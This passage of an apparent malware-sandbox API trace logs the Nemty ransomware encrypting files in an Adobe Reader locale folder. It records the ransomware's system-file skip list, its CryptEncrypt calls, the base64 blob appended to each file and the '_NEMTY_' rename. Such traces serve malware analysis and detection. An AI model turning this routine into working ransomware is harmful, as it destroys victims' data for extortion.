lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.ESP", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.ESP", lpUsedDefaultChar=0x0) returned 8 [0175.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.693] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.ESP", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.693] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.ESP", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.ESP", lpUsedDefaultChar=0x0) returned 8 [0175.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.693] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.ESP", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.693] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.ESP", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.ESP", lpUsedDefaultChar=0x0) returned 8 [0175.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.693] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.ESP", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.693] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.ESP", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.ESP", lpUsedDefaultChar=0x0) returned 8 [0175.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0175.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0175.693] Sleep (dwMilliseconds=0x5) [0175.700] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c5f6350, dwHighDateTime=0x1d561e8)) [0175.700] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c5f6350, dwHighDateTime=0x1d561e8)) [0175.700] GetLastError () returned 0x0 [0175.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.701] GetLastError () returned 0x0 [0175.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.701] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.701] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.701] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0175.701] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="OiDbTniuWAt93MZYiZrezor/3CthjIf5B7H/5XmVCYmZR5XQZtwzVnyj3kieylsY\r\nSs+d6mr5nJqpO1gGys8MfT67XuPS/lgrVG07zSt3PEeJG8lKGFXyymNkrjSZ7WIn\r\nMmtc2NwDbaLVmcRT6ksnXJDTZraPLEq3qLO4DJrDbhRnKy0IaQO1zruxyoHuEEFS\r\necGZ6fuebyRdzQfwdeZlFW51tUVBaAw5FNOqw8/rRt+5Eb3XRuaGfZNIj8HESltT\r\nYxr7OIA1TWaHZC/d2rujOJNYuUk9X0CVHpNRU+Y7c6aEnUYBZTzgKnlud5tULD1z\r\nug3EivThxYja7CY/HZr1oA==\r\n", pcchString=0x653e5dc) returned 1 [0175.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0175.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.701] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\IA32.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\ia32.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.701] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=3584) returned 1 [0175.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe00) returned 0x634ad48 [0175.702] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.702] ReadFile (in: hFile=0x2e8, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e824*=0xe00, lpOverlapped=0x0) returned 1 [0175.703] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.703] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e81c*=0xe00, lpOverlapped=0x0) returned 1 [0175.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0175.703] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=3584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe00 [0175.703] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.704] CloseHandle (hObject=0x2e8) returned 1 [0175.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0175.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0175.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0175.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0175.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.704] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\IA32.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\ia32.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\IA32.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\ia32.esp._nemty_kgobjgd_")) returned 1 [0175.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0175.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0175.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0175.705] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="makeaccessible.ESP", cAlternateFileName="MAKEAC~1.ESP")) returned 1 [0175.705] lstrcmpiW (lpString1="makeaccessible.ESP", lpString2=".") returned 1 [0175.705] lstrcmpiW (lpString1="makeaccessible.ESP", lpString2="..") returned 1 [0175.705] lstrcmpiW (lpString1="makeaccessible.ESP", lpString2="...") returned 1 [0175.705] lstrcmpiW (lpString1="makeaccessible.ESP", lpString2="windows") returned -1 [0175.705] lstrcmpiW (lpString1="makeaccessible.ESP", lpString2="$RECYCLE.BIN") returned 1 [0175.705] lstrcmpiW (lpString1="makeaccessible.ESP", lpString2="rsa") returned -1 [0175.705] lstrcmpiW (lpString1="makeaccessible.ESP", lpString2="NTDETECT.COM") returned -1 [0175.705] lstrcmpiW (lpString1="makeaccessible.ESP", lpString2="ntldr") returned -1 [0175.705] lstrcmpiW (lpString1="makeaccessible.ESP", lpString2="MSDOS.SYS") returned -1 [0175.705] lstrcmpiW (lpString1="makeaccessible.ESP", lpString2="IO.SYS") returned 1 [0175.705] lstrcmpiW (lpString1="makeaccessible.ESP", lpString2="boot.ini") returned 1 [0175.705] lstrcmpiW (lpString1="makeaccessible.ESP", lpString2="boot.ini") returned 1 [0175.705] lstrcmpiW (lpString1="makeaccessible.ESP", lpString2="AUTOEXEC.BAT") returned 1 [0175.705] lstrcmpiW (lpString1="makeaccessible.ESP", lpString2="ntuser.dat") returned -1 [0175.705] lstrcmpiW (lpString1="makeaccessible.ESP", lpString2="desktop.ini") returned 1 [0175.705] lstrcmpiW (lpString1="makeaccessible.ESP", lpString2="CONFIG.SYS") returned 1 [0175.705] lstrcmpiW (lpString1="makeaccessible.ESP", lpString2="RECYCLER") returned -1 [0175.705] lstrcmpiW (lpString1="makeaccessible.ESP", lpString2="BOOTSECT.BAK") returned 1 [0175.705] lstrcmpiW (lpString1="makeaccessible.ESP", lpString2="bootmgr") returned 1 [0175.705] lstrcmpiW (lpString1="makeaccessible.ESP", lpString2="programdata") returned -1 [0175.705] lstrcmpiW (lpString1="makeaccessible.ESP", lpString2="appdata") returned 1 [0175.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0175.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.ESP", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0175.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.ESP", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.ESP", lpUsedDefaultChar=0x0) returned 18 [0175.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0175.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.ESP", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0175.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.ESP", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.ESP", lpUsedDefaultChar=0x0) returned 18 [0175.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0175.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0175.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0175.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.ESP", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0175.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.ESP", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.ESP", lpUsedDefaultChar=0x0) returned 18 [0175.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0175.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0175.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.ESP", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0175.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.ESP", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.ESP", lpUsedDefaultChar=0x0) returned 18 [0175.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0175.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0175.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.706] Sleep (dwMilliseconds=0x5) [0175.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c61c4b0, dwHighDateTime=0x1d561e8)) [0175.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c61c4b0, dwHighDateTime=0x1d561e8)) [0175.716] GetLastError () returned 0x0 [0175.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.716] GetLastError () returned 0x0 [0175.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0175.717] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.717] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.717] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.717] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="/nSs8LVbY54U4LxdJoffZ+a3nxSU3BQ80BagX1uBZRvwXTqeZVlWwpYwofOM9Tf7\r\n2o2UxNpFruwNqGXV13LuPzRx71eIZHjWZo6I//nAv35Mp4ni+ducsEL9AWOmJSqx\r\nk+8AuK5PYmygMYqPBIvSox+/46ULJaa+Xq1mNF1+3bDTtB2RWgVfHTW+1KNZk+Ar\r\nI+TZDQs/lefABtvbeKGueCp4paEJ2lA6ErTExtXqxWLRdq+3dGxAIi9JY4HONuT4\r\nBXJXkprfMtSTH0xjd7XmdMs4jIFrNhv2BtF6bAjRoXkk2lWB9MeF2b/P9Wfid4FG\r\nkkx+LGXIHP4eecJM8M4ZBQ==\r\n", pcchString=0x653e5dc) returned 1 [0175.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0175.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.717] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\makeaccessible.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\makeaccessible.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.718] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=83456) returned 1 [0175.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14600) returned 0x6352c48 [0175.718] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.718] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x14600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x14600, lpOverlapped=0x0) returned 1 [0175.724] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.725] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x14600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x14600, lpOverlapped=0x0) returned 1 [0175.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.725] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=83456, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14600 [0175.725] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.725] CloseHandle (hObject=0x2e8) returned 1 [0175.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.725] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0175.725] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0175.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0175.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0175.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0175.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0175.725] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\makeaccessible.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\makeaccessible.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\makeaccessible.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\makeaccessible.esp._nemty_kgobjgd_")) returned 1 [0175.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0175.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.726] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Multimedia.ESP", cAlternateFileName="MULTIM~1.ESP")) returned 1 [0175.726] lstrcmpiW 